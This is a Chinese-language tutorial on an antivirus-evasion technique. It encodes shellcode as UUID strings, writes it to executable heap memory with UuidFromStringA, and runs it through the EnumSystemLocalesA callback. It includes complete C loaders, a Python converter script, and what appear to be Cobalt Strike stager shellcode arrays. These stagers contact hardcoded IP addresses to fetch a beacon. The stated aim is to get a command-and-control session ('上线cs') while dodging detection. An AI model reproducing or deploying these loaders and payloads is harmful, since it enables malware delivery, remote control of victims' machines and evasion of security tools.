利用uuid加载shellcode

 

近期国外的Tweet上面的Check Point Research

发布了一篇有趣的推文:

这篇推文大概讲得是通过分析了一个恶意样本,找到一种非常有趣的向内存写入shellcode方式。

这里就不细究钓鱼文档利用宏加载shellcode的细节了,感兴趣的可以去看这篇文章:

https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/

值得注意的是:

在自定义代码中,攻击者使用了windows api 遍历了大量硬编码 UUID 值列表,并且每次都提供指向分配内存(堆)的指针,深入分析后,发现了一种将数据写入堆的方法。

这种技术早在2017年就有国外大佬提出,但是最近才抓到恶意样本,爆出来!!

 

1.uuid是什么?

通用唯一识别码(Universally Unique Identifier,缩写:UUID),是用于计算机体系中以识别信息数目的一个128位标识符,根据标准方法生成,不依赖中央机构的注册和分配,UUID具有唯一性。

当然还有一种GUID(全局唯一标识符(英语:Globally Unique Identifier,缩写:GUID)),是一种由算法生成的唯一标识,通常表示成32个16进制数字(0-9,A-F)组成的字符串,如:{21EC2020-3AEA-1069-A2DD-08002B30309D},它实质上是一个128位长的二进制整数

1.1 那两种有什么区别?

简单的说,uuid 是一种标准, 而guid是uuid的一种实现.,GUID 是微软对UUID这个标准的实现。

1.2 UUID有什么作用?

看一个示例:

​ COMB(combine)型是数据库特有的一种设计思想,可以理解为一种改进的GUID,它通过组合GUID和系统时间,以使其在索引和检索事有更优的性能,数据库中没有COMB类型,它是Jimmy Nilsson在他的“The Cost of GUIDs as Primary Keys”一文中设计出来的。

​ COMB数据类型的基本设计思路是这样的:既然UniqueIdentifier数据因毫无规律可言造成索引效率低下,影响了系统的性能,那么我们能不能通过组合的方式,保留UniqueIdentifier的前10个字节,用后6个字节表示GUID生成的时间(DateTime),这样我们将时间信息与UniqueIdentifier组合起来,在保留UniqueIdentifier的唯一性的同时增加了有序性,以此来提高索引效率。

​ 简而言之:UUID 的目的是让分布式系统中的所有元素,都能有唯一的标识,而不需要透过中央控制端来做标识的指定。如此一来,每个人都可以建立不与其它人冲突的 UUID,在这样的情况下,就不需考虑数据库建立时的名称重复问题。

 

2.实现原理

首先我们得先关注一下两个windows api 函数

2.1 UuidFromStringA

查看微软的官方文档,给出了这样的解释:

这个意思说吧,把uuid值转换成二进制字节序列,该api 需要两个参数

1.转换成二进制字节序列的uuid的指针

2.以二进制形式返回指向UUID的指针

第一项参数很好理解,第二项参数可能翻译过来有点牵强,很好理解,就是用来接收二进制字节序列的指针。

其实python 中也有uuid库,转换挺方便的,把字节序列转换成uuid,再把uuid转换成字节序列

还有需要注意的点,就是windows 二进制字节序列是用的小端计数法,转换时且二进制序列必须16个字符为一组。

2.2 EnumSystemLocalesA

微软官方文档:

这里牵扯到回调函数:

回调函数就是一个通过函数指针调用的函数,意思是通过函数指针来调用函数,字面不好理解,你不妨看看以下示例

((void(*)())exec)();

这段代码很经典,很多人看了很懵逼,但是对于懂指针的人来说,理所当然,在c语言中,函数变量名存的就是一个函数入口地址,换句话说函数变量名就是一个指针。

然后再让我们理解以下上面那句代码

void(*)() #定义一个函数指针,函数返回值为空
((void(*)())exec #强制类型转换,把exec指针强制转换成函数指针
((void(*)())exec)();#执行入口地址为exec指向的地址的函数

而EnumSystemLocalesA 函数的第一次个参数就是回调函数地址,第二个参数是指定要枚举的语言环境标识符的标志。

那么上面的就可以写成这个样子:

EnumSystemLocalesA(exec,0);

3 利用uuid来加载shellcode,上线cs

我们先来看普通的shellcode 的c加载方式

#include <windows.h>  
#include <stdio.h> 
#不弹窗
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") 
#pragma comment(linker, "/INCREMENTAL:NO")   

unsigned char shellcode[]="shellcode binary ";

int main()
{
    char *a = VirtualAlloc(NULL, sizeof(xor_xcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(a, xcode, sizeof(xcode));
    ((void(*)())a)();
    return 0;
}

#include<Windows.h>
#include<iostream>
unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x50\x00\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x31\x6b\x6a\x56\x00\xfe\xdc\x7a\x2d\x31\xc9\xe7\x28\x1e\xb5\x42\x5f\x62\xa3\xf5\x64\x42\x79\x2d\xa2\xd8\xf7\x74\xca\xc1\x64\xc7\xc2\xfe\x32\xb2\x36\x0a\xa0\x90\x4e\xfa\xd4\x47\x04\xa4\x8b\xd9\xe6\x65\xa1\x8f\xbe\xe4\xb6\x95\x63\xf0\xb4\x46\x20\x85\xf8\x60\x5e\xb1\xf8\xa0\x59\xef\x9e\xb2\xc6\xe6\xf9\x5d\x8e\x07\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x31\x30\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x32\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x36\x2e\x30\x3b\x20\x54\x6f\x75\x63\x68\x3b\x20\x4d\x41\x53\x50\x4a\x53\x29\x0d\x0a\x00\x91\xa8\x10\xb7\xda\x80\x7f\xab\xc7\x23\x16\x2f\x4b\x61\xbd\xeb\xa5\x14\x6f\x90\x4b\xdf\x5a\x58\xe0\x57\x55\x1f\xdb\x6a\x56\x74\xc2\xa1\x9c\x9f\x32\xda\x91\x0d\x01\x10\x2d\x95\xef\x8e\x49\x72\x3a\x2b\x9e\x59\x8e\x85\xa6\xad\xb6\x9c\xc6\x98\x10\x7d\x09\x1f\x60\xa3\x4a\xea\xbe\x4a\xf5\x49\x8a\xc7\x18\xd6\x60\x22\x51\x17\xb8\xd6\x61\xd3\x8a\x81\x37\x3e\x6a\x3d\x1c\x3d\xc5\xf3\xa0\x57\x02\x04\x44\x57\xc1\x14\x23\x71\xc2\x08\x87\x6c\x94\x6b\x89\xc1\xd9\x2b\xcc\x6b\x62\x25\x3f\xbb\x9f\x56\x02\xf1\x54\x4d\x4d\x91\x4e\x89\x5b\xda\x5f\xf0\x92\xa5\xac\xb2\xaf\xcf\xbb\xe2\xaf\xb0\xca\x5b\x08\x83\x4c\x92\x7a\xb5\x97\xb9\xd2\x07\xc9\x8f\xb7\x80\xfc\x26\x3d\xa3\xd1\x9e\x29\x42\x05\xcd\x0b\x78\xc2\x11\x86\x4f\x66\x57\xda\xe2\x4b\x98\xcc\x46\x4d\xe5\xbd\xfe\xc7\x2c\xc4\xd3\xe5\xc0\xf9\x43\xca\xd4\x1d\x5a\x73\xda\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x30\x2e\x31\x39\x2e\x34\x32\x2e\x31\x34\x34\x00\x12\x34\x56\x78";
int main()
{
    void* shellcode = (void*)VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(shellcode, buf, sizeof(buf));
    ((void(*)())shellcode)();
    return 0;
}

然后我们来利用uuid写shellcode

#include<Windows.h>
#include<Rpc.h>
#include<iostream>
#pragma comment(lib,"Rpcrt4.lib")
using namespace std;
const char* uuids[] = { "0089e8fc-0000-8960-e531-d2648b52308b","528b0c52-8b14-2872-0fb7-4a2631ff31c0","7c613cac-2c02-c120-cf0d-01c7e2f05257","8b10528b-3c42-d001-8b40-7885c0744a01","488b50d0-8b18-2058-01d3-e33c498b348b","ff31d601-c031-c1ac-cf0d-01c738e075f4","3bf87d03-247d-e275-588b-582401d3668b","588b4b0c-011c-8bd3-048b-01d089442424","59615b5b-515a-e0ff-585f-5a8b12eb865d","74656e68-6800-6977-6e69-54684c772607","ff31d5ff-5757-5757-5768-3a5679a7ffd5","000084e9-5b00-c931-5151-6a0351516850","53000000-6850-8957-9fc6-ffd5eb705b31","006852d2-4002-5284-5252-53525068eb55","d5ff3b2e-c689-c383-5031-ff57576aff53","062d6856-7b18-d5ff-85c0-0f84c3010000","f685ff31-0474-f989-eb09-68aac5e25dff","68c189d5-2145-315e-ffd5-31ff576a0751","b7685056-e057-ff0b-d5bf-002f000039c7","ff31b774-91e9-0001-00e9-c9010000e88b","2fffffff-6b31-566a-00fe-dc7a2d31c9e7","42b51e28-625f-f5a3-6442-792da2d8f774","c764c1ca-fec2-b232-360a-a0904efad447","d98ba404-65e6-8fa1-bee4-b69563f0b446","60f88520-b15e-a0f8-59ef-9eb2c6e6f95d","5500078e-6573-2d72-4167-656e743a204d","6c697a6f-616c-352f-2e30-2028636f6d70","62697461-656c-203b-4d53-49452031302e","57203b30-6e69-6f64-7773-204e5420362e","57203b32-574f-3436-3b20-54726964656e","2e362f74-3b30-5420-6f75-63683b204d41","534a5053-0d29-000a-91a8-10b7da807fab","2f1623c7-614b-ebbd-a514-6f904bdf5a58","1f5557e0-6adb-7456-c2a1-9c9f32da910d","952d1001-8eef-7249-3a2b-9e598e85a6ad","98c69cb6-7d10-1f09-60a3-4aeabe4af549","d618c78a-2260-1751-b8d6-61d38a81373e","3d1c3d6a-f3c5-57a0-0204-4457c1142371","6c8708c2-6b94-c189-d92b-cc6b62253fbb","f102569f-4d54-914d-4e89-5bda5ff092a5","cfafb2ac-e2bb-b0af-ca5b-08834c927ab5","07d2b997-8fc9-80b7-fc26-3da3d19e2942","780bcd05-11c2-4f86-6657-dae24b98cc46","febde54d-2cc7-d3c4-e5c0-f943cad41d5a","6800da73-b5f0-56a2-ffd5-6a4068001000","00006800-0040-6857-58a4-53e5ffd593b9","00000000-d901-5351-89e7-576800200000","12685653-8996-ffe2-d585-c074c68b0701","75c085c3-58e5-e8c3-a9fd-ffff31302e31","32342e39-312e-3434-0012-345678000000" }; 
int main()
{
    HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);//获得可执行的句柄
    void* ha = HeapAlloc(hc, 0, 0x100000);//申请堆空间
    if (ha == NULL)
    {
        cout << "内存申请失败!" << endl;
        return 0;
    }
    DWORD_PTR hptr = (DWORD_PTR)ha;
    int elems = sizeof(uuids) / sizeof(uuids[0]);//获得需要写入uuids数组元素个数
    for (int i = 0; i < elems; i++)
    {
        //cout << (RPC_CSTR)uuids[i] << endl;
        //cout << (UUID*)hptr << endl;
        RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr);//写入shellcode
            if (status != RPC_S_OK)//判断是否写入正常
            {
                cout << "UuidFromeStringA()!=S_OK" << endl;
                CloseHandle(ha);
                    return -1;
            }
        hptr += 16;
    }
    //((void(*)())ha)();
    EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);//回调函数,运行shellcode
    CloseHandle(ha);
    return 0;
}

cs直接上线,这里我们需要用的一个python转换uuid脚本:

import uuid
shellcode=b"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x50\x00\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x76\x31\x62\x53\x00\x7f\x91\xe7\xa6\x06\xaf\x0e\x4c\xd7\x9a\xe9\x05\x62\x44\xda\x5c\x48\x62\xfe\x2c\x1a\xb1\x46\xe5\x9e\x3b\x14\x69\x39\x97\x1f\x0b\xfb\x1a\xf6\x8d\x89\x79\x72\x62\x8f\xcc\x16\x3a\xab\x4c\x4b\x8d\x50\xe4\xb5\xa1\x30\x1f\x46\x17\x84\xa1\x17\x69\xec\x2a\x4a\xfe\xe7\xb0\x87\xb9\x7b\x5c\x61\x3a\xfe\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x4d\x41\x53\x42\x29\x0d\x0a\x00\x79\x00\x1b\x42\x2e\x57\x64\xda\x01\x3c\x02\xc6\x2a\x4a\xda\xc8\x22\x1e\x92\x76\x61\x47\x80\x02\xb1\x8c\x24\x61\x92\x9f\x53\x58\x73\xde\xae\x52\x30\x67\x82\x47\x32\x4b\x35\x10\x11\xfd\xe2\x1d\x2b\x26\x18\x6b\x9d\x85\x58\x10\x32\xa4\x0a\xcd\x92\xc1\x5a\x10\x50\x6b\xe7\x87\x2a\xd9\xcf\xce\x92\x06\x1c\x39\x6b\x75\x42\xfb\x81\x4b\x60\x0b\x56\xcc\x1b\xa7\xe6\x0b\x0f\x49\xdd\xc5\xcc\x48\x0d\xf4\xdb\x98\xf1\xbf\x0d\xa8\x9b\x45\xcb\x4f\x41\x26\x96\xf5\x0d\x4d\xe4\x58\x83\x1f\x81\x6e\x67\xea\x94\xab\x49\x5c\xc0\x6f\x1d\x8c\x78\x8c\xc5\xd7\x01\x4d\xc7\x89\xc1\x8e\xe5\x46\x6d\xab\x99\x5f\xa2\x26\xe1\xcc\x58\x8c\xef\x16\xcd\xe5\x02\x4a\xf9\xe5\x42\x1c\xb8\x4a\x96\x7e\x69\x9a\x30\x37\x97\x0d\x4e\x7e\x4c\xaf\x69\xcc\x9a\x36\xb3\xe5\x2a\x7b\x77\x64\x48\x30\xa3\x44\x27\x76\xd8\xe6\x03\x2a\x56\xeb\xe7\x21\xb1\xf6\x78\x2e\xf0\xaa\x43\xdf\x46\xa3\x95\x14\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x30\x2e\x31\x30\x34\x00\x12\x34\x56\x78\x90\x90"
list = []
for i in range(50):
    bytes_a = shellcode[i * 16: 16 + i * 16]
    b = uuid.UUID(bytes_le=bytes_a)
    list.append(str(b))
with open("shellcode.c","w",encoding="utf-8") as f:
    f.write("const char* uuids[] ={")
    for UUID in list:
        f.write("\""+UUID+"\""+",")
    f.write("};")
print(list)

替换shellcode,你懂我的意思吧!

在实验得时候我忘了关卡巴,然后你懂得!哈哈哈哈哈哈哈哈哈

 

4.学习总结

这里虽然还是给杀了,那是因为这种uuid还是存在一定的特征,还是会被杀,但是这里讲究的是一个思路,可以用其他windows api 来向内存中写入shellcode,加载shellcode,而且在国外大佬blog提到了很多windows api都可以实现这样的功能。

(完)